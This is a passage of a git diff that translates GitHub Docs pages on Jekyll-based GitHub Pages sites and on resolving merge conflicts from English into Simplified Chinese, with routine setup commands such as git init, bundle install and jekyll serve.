-**Tip:** You can make sure you're using the latest version of all plugins by keeping the {% data variables.product.prodname_pages %} gem updated. For more information, see "[Testing your GitHub Pages site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)" and "[Dependency versions](https://pages.github.com/versions/)" on the {% data variables.product.prodname_pages %} site.
+**提示：** 您可以保持更新 {% data variables.product.prodname_pages %} gem，确保使用所有插件的最新版本。 更多信息请参阅 {% data variables.product.prodname_pages %} 网站上的“[使用 Jekyll 本地测试 GitHub Pages 站点](/articles/testing-your-github-pages-site-locally-with-jekyll#updating-the-github-pages-gem)”和“[依赖项版本](https://pages.github.com/versions/)”。
 
 {% endtip %}
 
-{% data variables.product.prodname_pages %} cannot build sites using unsupported plugins. If you want to use unsupported plugins, generate your site locally and then push your site's static files to {% data variables.product.product_name %}.
+{% data variables.product.prodname_pages %} 无法使用不支持的插件构建网站。 如果想使用不支持的插件，请在本地生成网站，然后将网站的静态文件推送到 {% data variables.product.product_name %}。
 
-## Syntax highlighting
+## 语法突显
 
-To make your site easier to read, code snippets are highlighted on {% data variables.product.prodname_pages %} sites the same way they're highlighted on {% data variables.product.product_name %}. For more information about syntax highlighting on {% data variables.product.product_name %}, see "[Creating and highlighting code blocks](/articles/creating-and-highlighting-code-blocks)."
+为了使网站更容易读取，代码片段在 {% data variables.product.prodname_pages %} 上突显，就像在 {% data variables.product.product_name %} 上突显一样。 有关在 {% data variables.product.product_name %} 上突显语法的更多信息，请参阅“[创建和突显代码块](/articles/creating-and-highlighting-code-blocks)”。
 
-By default, code blocks on your site will be highlighted by Jekyll. Jekyll uses the [Rouge](https://github.com/jneen/rouge) highlighter, which is compatible with [Pygments](http://pygments.org/). If you specify Pygments in your *_config.yml* file, Rouge will be used instead. Jekyll cannot use any other syntax highlighter, and you'll get a page build warning if you specify another syntax highlighter in your *_config.yml* file. For more information, see "[About Jekyll build errors for {% data variables.product.prodname_pages %} sites](/articles/about-jekyll-build-errors-for-github-pages-sites)."
+默认情况下，网站上的代码块将被 Jekyll 突出显示。 Jekyll 使用 [Rouge](https://github.com/jneen/rouge) 突显工具，它兼容于 [Pygments](http://pygments.org/)。 如果在 *_config.yml* 文件中指定 Pygments，将改用 Rouge。 Jekyll 不能使用任何其他语法突显工具，如果您在 *_config.yml* 文件中指定其他语法突显工具，将会收到页面构建警告。 更多信息请参阅“[关于 {% data variables.product.prodname_pages %} 站点的 Jekyll 构建错误](/articles/about-jekyll-build-errors-for-github-pages-sites)”。
 
-If you want to use another highlighter, such as `highlight.js`, you must disable Jekyll's syntax highlighting by updating your project's *_config.yml* file.
+如果想使用其他突显工具，如 `highlight.js`，则必须更新项目的 *_config.yml* 文件来禁用 Jekyll 的语法突显。
 
 ```yaml
 kramdown:
@@ -122,12 +122,12 @@ kramdown:
     disable : true
 ```
 
-If your theme doesn't include CSS for syntax highlighting, you can generate {% data variables.product.prodname_dotcom %}'s syntax highlighting CSS and add it to your project's `style.css` file.
+如果您的主题不含用于语法突显的 CSS，可以生成 {% data variables.product.prodname_dotcom %} 的语法突显 CSS 并将其添加到项目的 `style.css` 文件。
 
 ```shell
 $ rougify style github > style.css
 ```
 
-## Building your site locally
+## 本地构建网站
 
 {% data reusables.pages.test-locally %}
diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
index e93f69bfd4..92c3653e6b 100644
--- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
+++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/adding-a-theme-to-your-github-pages-site-using-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Adding a theme to your GitHub Pages site using Jekyll
-intro: You can personalize your Jekyll site by adding and customizing a theme.
+title: 使用 Jekyll 向 GitHub Pages 站点添加主题
+intro: 您可以通过添加和自定义主题来个性化 Jekyll 站点。
 redirect_from:
   - /articles/customizing-css-and-html-in-your-jekyll-theme
   - /articles/adding-a-jekyll-theme-to-your-github-pages-site
@@ -14,30 +14,28 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Add theme to Pages site
+shortTitle: 将主题添加到 Pages 站点
 ---
 
-People with write permissions for a repository can add a theme to a {% data variables.product.prodname_pages %} site using Jekyll.
+拥有仓库写入权限的人员可以使用 Jekyll 将主题添加到 {% data variables.product.prodname_pages %} 网站。
 
 {% data reusables.pages.test-locally %}
 
-## Adding a theme
+## 添加主题
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-2. Navigate to *_config.yml*.
+2. 导航到 *_config.yml*。
 {% data reusables.repositories.edit-file %}
-4. Add a new line to the file for the theme name.
-   - To use a supported theme, type `theme: THEME-NAME`, replacing _THEME-NAME_ with the name of the theme as shown in the README of the theme's repository. For a list of supported themes, see "[Supported themes](https://pages.github.com/themes/)" on the {% data variables.product.prodname_pages %} site.
-   ![Supported theme in config file](/assets/images/help/pages/add-theme-to-config-file.png)
-   - To use any other Jekyll theme hosted on {% data variables.product.prodname_dotcom %}, type `remote_theme: THEME-NAME`, replacing THEME-NAME with the name of the theme as shown in the README of the theme's repository.
-   ![Unsupported theme in config file](/assets/images/help/pages/add-remote-theme-to-config-file.png)
+4. 为主题名称添加新行。
+   - 要使用支持的主题，请键入 `theme: THEME-NAME`，将 _THEME-NAME_ 替换为主题仓库的 README 中显示的主题名称。 有关支持的主题列表，请参阅 {% data variables.product.prodname_pages %} 网站上的“[支持的主题](https://pages.github.com/themes/)”。 ![配置文件中支持的主题](/assets/images/help/pages/add-theme-to-config-file.png)
+   - 要使用托管于 {% data variables.product.prodname_dotcom %} 的任何其他 Jekyll 主题，请键入 `remote_theme: THEME-NAME`，将 THEME-NAME 替换为主题仓库的 README 中显示的主题名称。 ![配置文件中不支持的主题](/assets/images/help/pages/add-remote-theme-to-config-file.png)
 {% data reusables.files.write_commit_message %}
 {% data reusables.files.choose-commit-email %}
 {% data reusables.files.choose_commit_branch %}
 {% data reusables.files.propose_file_change %}
 
-## Customizing your theme's CSS
+## 自定义主题的 CSS
 
 {% data reusables.pages.best-with-supported-themes %}
 
@@ -45,31 +43,31 @@ People with write permissions for a repository can add a theme to a {% data vari
 
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-1. Create a new file called _/assets/css/style.scss_.
-2. Add the following content to the top of the file:
+1. 创建一个名为 _/assets/css/style.scss_ 的新文件。
+2. 在文件顶部添加以下内容：
   ```scss
   ---
   ---
 
   @import "{{ site.theme }}";
   ```
-3. Add any custom CSS or Sass (including imports) you'd like immediately after the `@import` line.
+3. 在 `@import` 行的后面直接添加您喜欢的任何自定义 CSS 或 Sass（包括导入）。
 
-## Customizing your theme's HTML layout
+## 自定义主题的 HTML 布局
 
 {% data reusables.pages.best-with-supported-themes %}
 
 {% data reusables.pages.theme-customization-help %}
 
-1. On {% data variables.product.prodname_dotcom %}, navigate to your theme's source repository. For example, the source repository for Minima is https://github.com/jekyll/minima.
-2. In the *_layouts* folder, navigate to your theme's _default.html_ file.
-3. Copy the contents of the file.
+1. 在 {% data variables.product.prodname_dotcom %} 上，导航到主题的源仓库。 例如，Minima 的源仓库为 https://github.com/jekyll/minima。
+2. 在 *_layouts* 文件夹中，导航到主题的 _default.html_ 文件。
+3. 复制文件的内容。
 {% data reusables.pages.navigate-site-repo %}
 {% data reusables.pages.navigate-publishing-source %}
-6. Create a file called *_layouts/default.html*.
-7. Paste the default layout content you copied earlier.
-8. Customize the layout as you'd like.
+6. 创建名为 *_layouts/default.html* 的文件。
+7. 粘贴之前复制的默认布局内容。
+8. 根据需要自定义布局。
 
-## Further reading
+## 延伸阅读
 
-- "[Creating new files](/articles/creating-new-files)"
+- "[创建新文件](/articles/creating-new-files)"
diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
index 43c4262281..ebcdff29cd 100644
--- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
+++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/creating-a-github-pages-site-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll to create a {% data variables.product.prodname_pages %} site in a new or existing repository.'
+title: 使用 Jekyll 创建 GitHub Pages 站点
+intro: '您可以使用 Jekyll 在新仓库或现有仓库中创建 {% data variables.product.prodname_pages %} 站点。'
 product: '{% data reusables.gated-features.pages %}'
 redirect_from:
   - /articles/creating-a-github-pages-site-with-jekyll
@@ -13,20 +13,20 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Create site with Jekyll
+shortTitle: 使用 Jekyll 创建站点
 ---
 
 {% data reusables.pages.org-owners-can-restrict-pages-creation %}
 
-## Prerequisites
+## 基本要求
 
-Before you can use Jekyll to create a {% data variables.product.prodname_pages %} site, you must install Jekyll and Git. For more information, see [Installation](https://jekyllrb.com/docs/installation/) in the Jekyll documentation and "[Set up Git](/articles/set-up-git)."
+必须安装 Jekyll 和 Git 后才可使用 Jekyll 创建 {% data variables.product.prodname_pages %} 站点。 更多信息请参阅 Jekyll 文档中的[安装](https://jekyllrb.com/docs/installation/)和“[设置 Git](/articles/set-up-git)”。
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Creating a repository for your site
+## 为站点创建仓库
 
 {% data reusables.pages.new-or-existing-repo %}
 
@@ -35,72 +35,72 @@ Before you can use Jekyll to create a {% data variables.product.prodname_pages %
 {% data reusables.pages.create-repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
 
-## Creating your site
+## 创建站点
 
 {% data reusables.pages.must-have-repo-first %}
 
 {% data reusables.pages.private_pages_are_public_warning %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-1. If you don't already have a local copy of your repository, navigate to the location where you want to store your site's source files, replacing _PARENT-FOLDER_ with the folder you want to contain the folder for your repository.
+1. 如果您还没有本地版仓库，请导航到您想要存储站点源文件的位置，将 _PARENT-FOLDER_ 替换为要包含仓库文件夹的文件夹。
   ```shell
   $ cd <em>PARENT-FOLDER</em>
   ```
-1. If you haven't already, initialize a local Git repository, replacing _REPOSITORY-NAME_ with the name of your repository.
+1. 如果尚未初始化本地 Git 仓库，请将 _REPOSITORY-NAME_ 替换为仓库名称。
   ```shell
   $ git init <em>REPOSITORY-NAME</em>
   > Initialized empty Git repository in /Users/octocat/my-site/.git/
   # Creates a new folder on your computer, initialized as a Git repository
   ```
-  4. Change directories to the repository.
+  4. 将目录更改为仓库。
   ```shell
   $ cd <em>REPOSITORY-NAME</em>
   # Changes the working directory
   ```
 {% data reusables.pages.decide-publishing-source %}
 {% data reusables.pages.navigate-publishing-source %}
-  For example, if you chose to publish your site from the `docs` folder on the default branch, create and change directories to the `docs` folder.
+  例如，如果选择从默认分支上的 `docs` 文件夹发布站点，则创建并切换目录到 `docs` 文件夹。
  ```shell
  $ mkdir docs
  # Creates a new folder called docs
  $ cd docs
  ```
- If you chose to publish your site from the `gh-pages` branch, create and checkout the `gh-pages` branch.
+ 如果选择从 `gh-pages` 分支发布站点，则创建并检出 `gh-pages` 分支。
  ```shell
  $ git checkout --orphan gh-pages
  # Creates a new branch, with no history or contents, called gh-pages and switches to the gh-pages branch
  ```
-1. To create a new Jekyll site, use the `jekyll new` command:
+1. 要创建新 Jekyll 站点，请使用 `jekyll new` 命令：
    ```shell
    $ jekyll new --skip-bundle .
    # Creates a Jekyll site in the current directory
    ```
-1. Open the Gemfile that Jekyll created.
-1. Add "#" to the beginning of the line that starts with `gem "jekyll"` to comment out this line.
-1. Add the `github-pages` gem by editing the line starting with `# gem "github-pages"`. Change this line to:
+1. 打开 Jekyll 创建的 Gemfile 文件。
+1. 将 "#" 添加到以 `gem "jekyll "` 开头的行首，以注释此行。
+1. 编辑以 `# gem "github-pages"` 开头的行来添加 `github-pages` gem。 将此行更改为：
 
    ```shell
    gem "github-pages", "~> GITHUB-PAGES-VERSION", group: :jekyll_plugins
    ```
 
-   Replace _GITHUB-PAGES-VERSION_ with the latest supported version of the `github-pages` gem. You can find this version here: "[Dependency versions](https://pages.github.com/versions/)."
+   将 _GITHUB-PAGES-VERSION_ 替换为 `github-pages` gem 的最新支持版本。 您可以在这里找到这个版本：“[依赖项版本](https://pages.github.com/versions/)”。
 
-   The correct version Jekyll will be installed as a dependency of the `github-pages` gem.
-1. Save and close the Gemfile.
-1. From the command line, run `bundle install`.
-1. Optionally, make any necessary edits to the `_config.yml` file. This is required for relative paths when the repository is hosted in a subdirectory.  For more information, see "[Splitting a subfolder out into a new repository](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)."
+   正确版本 Jekyll 将安装为 `github-pages` gem 的依赖项。
+1. 保存并关闭 Gemfile。
+1. 从命令行运行 `bundle install`。
+1. （可选）对 `_config.yml` 文件进行任何必要的编辑。 当仓库托管在子目录时相对路径需要此设置。  更多信息请参阅“[将子文件夹拆分到新仓库](/github/getting-started-with-github/using-git/splitting-a-subfolder-out-into-a-new-repository)”。
    ```yml
    domain: my-site.github.io       # if you want to force HTTPS, specify the domain without the http at the start, e.g. example.com
    url: https://my-site.github.io  # the base hostname and protocol for your site, e.g. http://example.com
    baseurl: /REPOSITORY-NAME/      # place folder name if the site is served in a subfolder
   ```
-1. Optionally, test your site locally. For more information, see "[Testing your {% data variables.product.prodname_pages %} site locally with Jekyll](/articles/testing-your-github-pages-site-locally-with-jekyll)."
-1. Add and commit your work.
+1. （可选）在本地测试您的站点。 更多信息请参阅“[使用 Jekyll 在本地测试 {% data variables.product.prodname_pages %} 站点](/articles/testing-your-github-pages-site-locally-with-jekyll)”。
+1. 添加并提交您的工作。
 ```shell
 git add .
 git commit -m 'Initial GitHub pages site with Jekyll'
 ```
-1. Add your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} as a remote, replacing {% ifversion ghes or ghae %}_HOSTNAME_ with your enterprise's hostname,{% endif %} _USER_ with the account that owns the repository{% ifversion ghes or ghae %},{% endif %} and _REPOSITORY_ with the name of the repository.
+1. 将您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的仓库添加为远程，使用企业的主机名替换 {% ifversion ghes or ghae %}_HOSTNAME_，{% endif %} _USER_ 替换为拥有该仓库的帐户{% ifversion ghes or ghae %}，{% endif %}并且 _REPOSITORY_ 替换为仓库名称。
 ```shell
 {% ifversion fpt or ghec %}
 $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
@@ -108,7 +108,7 @@ $ git remote add origin https://github.com/<em>USER</em>/<em>REPOSITORY</em>.git
 $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</em>.git
 {% endif %}
 ```
-1. Push the repository to {% data variables.product.product_name %}, replacing _BRANCH_ with the name of the branch you're working on.
+1. 将仓库推送到 {% data variables.product.product_name %}，_BRANCH_ 替换为您所操作的分支的名称。
    ```shell
    $ git push -u origin <em>BRANCH</em>
    ```
@@ -123,8 +123,8 @@ $ git remote add origin https://<em>HOSTNAME</em>/<em>USER</em>/<em>REPOSITORY</
 
 {% data reusables.pages.admin-must-push %}
 
-## Next steps
+## 后续步骤
 
-To add a new page or post to your site, see "[Adding content to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-content-to-your-github-pages-site-using-jekyll)."
+要向站点添加新页面或帖子，请参阅“[使用 Jekyll 添加内容到 {% data variables.product.prodname_pages %} 站点](/articles/adding-content-to-your-github-pages-site-using-jekyll)”。
 
-{% data reusables.pages.add-jekyll-theme %} For more information, see "[Adding a theme to your {% data variables.product.prodname_pages %} site using Jekyll](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)."
+{% data reusables.pages.add-jekyll-theme %}更多信息请参阅“[使用 Jekyll 添加主题到 {% data variables.product.prodname_pages %} 站点](/articles/adding-a-theme-to-your-github-pages-site-using-jekyll)”。
diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
index 19c92d48da..0a3a7d37be 100644
--- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
+++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/index.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a GitHub Pages site with Jekyll
-intro: 'You can use Jekyll, a popular static site generator, to further customize your {% data variables.product.prodname_pages %} site.'
+title: 使用 Jekyll 设置 GitHub Pages 站点
+intro: '您可以使用流行的静态站点生成器 Jekyll 进一步自定义 {% data variables.product.prodname_pages %} 站点。'
 redirect_from:
   - /articles/using-jekyll-with-pages
   - /articles/using-jekyll-as-a-static-site-generator-with-github-pages
@@ -23,6 +23,6 @@ children:
   - /adding-a-theme-to-your-github-pages-site-using-jekyll
   - /about-jekyll-build-errors-for-github-pages-sites
   - /troubleshooting-jekyll-build-errors-for-github-pages-sites
-shortTitle: Set up site with Jekyll
+shortTitle: 使用 Jekyll 设置站点
 ---
 
diff --git a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
index 0468b92cc8..9b047c5a41 100644
--- a/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
+++ b/translations/zh-CN/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md
@@ -1,6 +1,6 @@
 ---
-title: Testing your GitHub Pages site locally with Jekyll
-intro: 'You can build your {% data variables.product.prodname_pages %} site locally to preview and test changes to your site.'
+title: 使用 Jekyll 在本地测试 GitHub Pages 站点
+intro: '您可以在本地构建 {% data variables.product.prodname_pages %} 站点，以预览和测试对站点的更改。'
 redirect_from:
   - /articles/setting-up-your-pages-site-locally-with-jekyll
   - /articles/setting-up-your-github-pages-site-locally-with-jekyll
@@ -14,27 +14,27 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Test site locally with Jekyll
+shortTitle: 使用 Jekyll 本地测试站点
 ---
 
-Anyone with read permissions for a repository can test a {% data variables.product.prodname_pages %} site locally.
+任何拥有仓库读取权限的人都可以在本地测试 {% data variables.product.prodname_pages %} 站点。
 
-## Prerequisites
+## 基本要求
 
-Before you can use Jekyll to test a site, you must:
-  - Install [Jekyll](https://jekyllrb.com/docs/installation/).
-  - Create a Jekyll site. For more information, see "[Creating a {% data variables.product.prodname_pages %} site with Jekyll](/articles/creating-a-github-pages-site-with-jekyll)."
+在使用 Jekyll 测试站点之前，您必须：
+  - 安装 [Jekyll](https://jekyllrb.com/docs/installation/)。
+  - 创建一个 Jekyll 站点。 更多信息请参阅“[使用 Jekyll 创建 {% data variables.product.prodname_pages %} 站点](/articles/creating-a-github-pages-site-with-jekyll)”。
 
 {% data reusables.pages.recommend-bundler %}
 
 {% data reusables.pages.jekyll-install-troubleshooting %}
 
-## Building your site locally
+## 本地构建网站
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
 {% data reusables.pages.navigate-publishing-source %}
-3. Run `bundle install`.
-3. Run your Jekyll site locally.
+3. 运行 `bundle install`。
+3. 在本地运行您的 Jekyll 站点。
   ```shell
   $ bundle exec jekyll serve
   > Configuration file: /Users/octocat/my-site/_config.yml
@@ -48,17 +48,17 @@ Before you can use Jekyll to test a site, you must:
   >    Server address: http://127.0.0.1:4000/
   >  Server running... press ctrl-c to stop.
   ```
-3. To preview your site, in your web browser, navigate to `http://localhost:4000`.
+3. 要预览站点，请在 web 浏览器中导航到 `http://localhost:4000`。
 
-## Updating the {% data variables.product.prodname_pages %} gem
+## 更新 {% data variables.product.prodname_pages %} gem
 
-Jekyll is an active open source project that is updated frequently. If the `github-pages` gem on your computer is out of date with the `github-pages` gem on the {% data variables.product.prodname_pages %} server, your site may look different when built locally than when published on {% data variables.product.product_name %}. To avoid this, regularly update the `github-pages` gem on your computer.
+Jekyll 是一个活跃的开源项目，经常更新。 如果您计算机上的 `github-pages` gem 版本落后于 {% data variables.product.prodname_pages %} 服务器上的 `github-pages` gem 版本，则您的站点在本地构建时的外观与在 {% data variables.product.product_name %} 上发布时的外观可能不同。 为避免这种情况，请定期更新计算机上的 `github-pages` gem。
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Update the `github-pages` gem.
-    - If you installed Bundler, run `bundle update github-pages`.
-    - If you don't have Bundler installed, run `gem update github-pages`.
+2. 更新 `github-pages` gem。
+    - 如果您安装了 Bundler，请运行 `bundle update github-pages`。
+    - 如果未安装 Bundler，则运行 `gem update github-pages`.
 
-## Further reading
+## 延伸阅读
 
-- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) in the Jekyll documentation
+- Jekyll 文档中的 [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/)
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
index c9264010b1..20026446cd 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md
@@ -1,6 +1,6 @@
 ---
-title: Addressing merge conflicts
-intro: 'If your changes have merge conflicts with the base branch, you must address the merge conflicts before you can merge your pull request''s changes.'
+title: 解决合并冲突
+intro: 如果您的更改与基本分支存在合并冲突，必须解决该冲突后才可合并拉取请求的更改。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts
   - /articles/addressing-merge-conflicts
@@ -16,5 +16,6 @@ children:
   - /about-merge-conflicts
   - /resolving-a-merge-conflict-on-github
   - /resolving-a-merge-conflict-using-the-command-line
-shortTitle: Address merge conflicts
+shortTitle: 地址合并冲突
 ---
+
diff --git a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
index c2529a41aa..21972c5bab 100644
--- a/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
+++ b/translations/zh-CN/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Resolving a merge conflict on GitHub
-intro: 'You can resolve simple merge conflicts that involve competing line changes on GitHub, using the conflict editor.'
+title: 在 GitHub 上解决合并冲突
+intro: 您可以使用冲突编辑器在 GitHub 上解决涉及竞争行更改的简单合并冲突。
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github
   - /articles/resolving-a-merge-conflict-on-github
@@ -14,51 +14,47 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Resolve merge conflicts
+shortTitle: 解决合并冲突
 ---
-You can only resolve merge conflicts on {% data variables.product.product_name %} that are caused by competing line changes, such as when people make different changes to the same line of the same file on different branches in your Git repository. For all other types of merge conflicts, you must resolve the conflict locally on the command line. For more information, see "[Resolving a merge conflict using the command line](/articles/resolving-a-merge-conflict-using-the-command-line/)."
+
+您只能在 {% data variables.product.product_name %} 上解决由竞争行更改引起的合并冲突，例如当人们对 Git 仓库中不同分支上同一文件的同一行进行不同的更改时。 对于所有其他类型的合并冲突，您必须在命令行上本地解决冲突。 更多信息请参阅“[使用命令行解决合并冲突](/articles/resolving-a-merge-conflict-using-the-command-line/)”。
 
 {% ifversion ghes or ghae %}
-If a site administrator disables the merge conflict editor for pull requests between repositories, you cannot use the conflict editor on {% data variables.product.product_name %} and must resolve merge conflicts on the command line. For example, if the merge conflict editor is disabled, you cannot use it on a pull request between a fork and upstream repository.
+如果站点管理员对仓库之间的拉取请求禁用合并冲突编辑器，则无法在 {% data variables.product.product_name %} 上使用冲突编辑器，并且必须在命令行上解决合并冲突。 例如，如果禁用合并冲突编辑器，则无法在复刻和上游仓库之间的拉取请求中使用它。
 {% endif %}
 
 {% warning %}
 
-**Warning:** When you resolve a merge conflict on {% data variables.product.product_name %},  the entire [base branch](/github/getting-started-with-github/github-glossary#base-branch) of your pull request is merged into the [head branch](/github/getting-started-with-github/github-glossary#head-branch). Make sure you really want to commit to this branch. If the head branch is the default branch of your repository, you'll be given the option of creating a new branch to serve as the head branch for your pull request. If the head branch is protected you won't be able to merge your conflict resolution into it, so you'll be prompted to create a new head branch. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches)."
+**警告：**在 {% data variables.product.product_name %} 上解决合并冲突时，拉取请求的整个[基本分支](/github/getting-started-with-github/github-glossary#base-branch)都会合并到[头部分支](/github/getting-started-with-github/github-glossary#head-branch)中。 确保您确实想要提交到此分支。 如果头部分支是仓库的默认分支，您可以选择创建一个新分支作为拉取请求的头部分支。 如果头部分支是受保护分支，则无法将冲突解决合并到其中，因此系统会提示您创建一个新的头部分支。 更多信息请参阅“[关于受保护分支](/github/administering-a-repository/about-protected-branches)”。
 
 {% endwarning %}
 
 {% data reusables.repositories.sidebar-pr %}
-1. In the "Pull Requests" list, click the pull request with a merge conflict that you'd like to resolve.
-1. Near the bottom of your pull request, click **Resolve conflicts**.
-![Resolve merge conflicts button](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
+1. 在“Pull Requests（拉取请求）”列表中，单击含有您想要解决的合并冲突的拉取请求。
+1. 在拉取请求底部附近，单击 **Resolve conflicts（解决冲突）**。 ![解决合并冲突按钮](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png)
 
  {% tip %}
 
- **Tip:** If the **Resolve conflicts** button is deactivated, your pull request's merge conflict is too complex to resolve on {% data variables.product.product_name %}{% ifversion ghes or ghae %} or the site administrator has disabled the conflict editor for pull requests between repositories{% endif %}. You must resolve the merge conflict using an alternative Git client, or by using Git on the command line. For more information see "[Resolving a merge conflict using the command line](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)."
+ **提示：**如果停用 **Resolve conflicts（解决冲突）**按钮，则拉取请求的合并冲突过于复杂而无法在 {% data variables.product.product_name %} 上解决{% ifversion ghes or ghae %}或站点管理员已禁用仓库之间拉取请求的冲突编辑器{% endif %}。 必须使用备用 Git 客户端或在命令行上使用 Git 解决合并冲突。 更多信息请参阅“[使用命令行解决合并冲突](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line)”。
 
  {% endtip %}
 {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %}
- ![View merge conflict example with conflict markers](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
-1. If you have more than one merge conflict in your file, scroll down to the next set of conflict markers and repeat steps four and five to resolve your merge conflict.
-1. Once you've resolved all the conflicts in the file, click **Mark as resolved**.
- ![Click mark as resolved button](/assets/images/help/pull_requests/mark-as-resolved-button.png)
-1. If you have more than one file with a conflict, select the next file you want to edit on the left side of the page under "conflicting files" and repeat steps four through seven until you've resolved all of your pull request's merge conflicts.
- ![Select next conflicting file if applicable](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
-1. Once you've resolved all your merge conflicts, click **Commit merge**. This merges the entire base branch into your head branch.
- ![Resolve merge conflicts button](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
-1. If prompted, review the branch that you are committing to.
+ ![查看带有冲突标记的合并冲突示例](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png)
+1. 如果文件中有多个合并冲突，请向下滚动到下一组冲突标记，然后重复步骤 4 和步骤 5 以解决合并冲突。
+1. 解决文件中的所有冲突后，单击 **Mark as resolved（标记为已解决）**。 ![单击“标记为已解决”按钮](/assets/images/help/pull_requests/mark-as-resolved-button.png)
+1. 如果您有多个冲突文件，请在“冲突文件”下的页面左侧选择您要编辑的下一个文件，并重复步骤 4 到 7，直到您解决所有拉取请求的合并冲突。 ![适用时选择下一个冲突文件](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png)
+1. 解决所有合并冲突后，单击 **Commit merge（提交合并）**。 这会将整个基本分支合并到头部分支。 ![解决合并冲突按钮](/assets/images/help/pull_requests/merge-conflict-commit-changes.png)
+1. 如果出现提示，请审查您要提交的分支。
 
-   If the head branch is the default branch of the repository, you can choose either to update this branch with the changes you made to resolve the conflict, or to create a new branch and use this as the head branch of the pull request.
- ![Prompt to review the branch that will be updated](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
+   如果头部分支是仓库的默认分支，您可以选择使用为解决冲突所做的更改来更新此分支，或者选择创建一个新分支并将其用作拉取请求的头部分支。 ![提示审查将要更新的分支](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png)
 
-   If you choose to create a new branch, enter a name for the branch.
+   如果您选择创建一个新分支，请输入该分支的名称。
 
-   If the head branch of your pull request is protected you must create a new branch. You won't get the option to update the protected branch.
